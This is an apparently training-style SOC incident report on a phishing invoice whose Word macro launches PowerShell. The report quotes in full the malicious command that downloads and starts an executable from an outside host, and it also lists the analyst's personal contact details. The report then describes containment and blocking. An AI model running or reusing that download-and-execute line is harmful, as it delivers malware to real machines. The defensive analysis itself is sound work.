
 

Contact Person 

Full name  Job title / role 

Ahmed Emad Nasr  Incident Response Analyst 

Department / team  Email address 

Security Operations Center (SOC)  Ahmed.em.nasr@gmail.com 

Phone number   

+201018166445   

 

The Incident 

Date and time discovered: 

Feb, 28, 2024, 08:42 AM. 

How was the incident detected? (E.g., user report, monitoring system alert) 

A Medium severity alert was triggered in the Monitoring system under the rule "SOC205 - Malicious Macro has 

been executed". 

Detailed description of the incident (include what occurred, where, and how): 

• A compressed archive named edit1-invoice.docm.zip was downloaded to the workstation Jayne (IP: 

172.16.17.198), and the file edit1-invoice.docm was extracted at 08:41 AM. 

• VirusTotal analysis of the document's hash 

(1a819d18c9a9de4f81829c4cd55a17f767443c22f9b30ca953866827e5d96fb0) shows 26 out of 56 

vendors flagging it as malicious (TrojanDownloader).  

• Code insights reveal the document contains a macro in ThisDocument.cls designed to execute a 

hidden shell command when a specific InkEdit control receives focus, bypassing explicit user 

interaction beyond enabling macros. 

• Log Management events show that WINWORD.EXE opened the malicious document. 

• Following the macro execution, a new PowerShell process was spawned (EventID 4688) with a 

command line instructing it to download a payload using System.Net.WebClient. 

• The malicious script block executed the following: (New-Object 

System.Net.WebClient).DownloadFile('http://www.greyhathacker.net/tools/messbox.exe','mess.exe');St

art-Process 'mess.exe'. 

• A DNS Query (EventID 22) confirms that powershell.exe successfully resolved 

WWW.GREYHATHACKER.NET at 08:42 AM. 

Was the incident ongoing at the time of report?  

☐ Yes ☒ No  

Have any files, accounts, or systems been compromised?  

☒ Yes ☐ No  

If yes, please describe: 

The host Jayne (172.16.17.198) is compromised. The malicious macro successfully executed, invoked 

PowerShell, and attempted to download and execute a secondary payload (messbox.exe) from an external 

attacker-controlled domain. 

 

Notification 

Was your supervisor or manager notified?  Date/time of notification: 

☒ Yes ☐ No  April 6, 2026 

Was the IT/security team alerted?  If yes, who was contacted and how? (e.g., email, phone, ticket) 

☒ Yes ☐ No  

If yes, who was contacted and how? (e.g., email, phone, ticket):  

Escalated to the Incident Response team via Case Management for 

host isolation and forensic review. 



 

 

Containment Measures 

What immediate actions were taken to contain the threat? (E.g., system shutdown, network isolation) 

mmediately isolate the host Jayne (172.16.17.198) using Endpoint Security controls to prevent the secondary 

payload (mess.exe) from establishing command and control (C2) or moving laterally.  

Were any user accounts disabled, firewalls updated, or services suspended?  

☒ Yes ☐ No  

If yes, provide details: 

 Firewalls and web proxies updated to block the domain www.greyhathacker.net and its associated IP 

addresses. 

 The file hash for edit1-invoice.docm and the anticipated payload messbox.exe have been blacklisted in the 

EDR solution. 

 

 

Impacted Services Measures 

List any systems, devices, or applications affected by the incident: 

Workstation Hostname: Jayne (IP: 172.16.17.198) 

Estimated number of affected users, if applicable: 

1 user (Jayne). 

Was there any known data loss or exposure?  

☐ Yes ☒ No  

If yes, describe the type of data (e.g., personal info, credentials, financial): 

Currently, no data exfiltration is visible in the provided logs. The primary action was a downloader fetching a 

secondary executable. 

 

Preliminary Analysis (Optional) 

Suspected cause or entry point (e.g., phishing email, unpatched software): 

• Suspected cause or entry point (e.g., phishing email, unpatched software):  

o Social engineering/phishing. The user was lured into downloading and extracting a ZIP file 

disguised as an invoice, and subsequently opened the macro-enabled Word document, which 

initiated the malware execution chain. 

 

Was the threat internal, external, or unknown? 

☐ Internal ☒ External ☐ Unknown 

 

 
Submitted by: 

  

Ahmed Emad Nasr  Ahmed Emad Nasr   

Name  Signature  Date submitted 



 

 

 

 

 

     



 

 

 

 



 

 

 

 



 

 

 

 



 

 

 


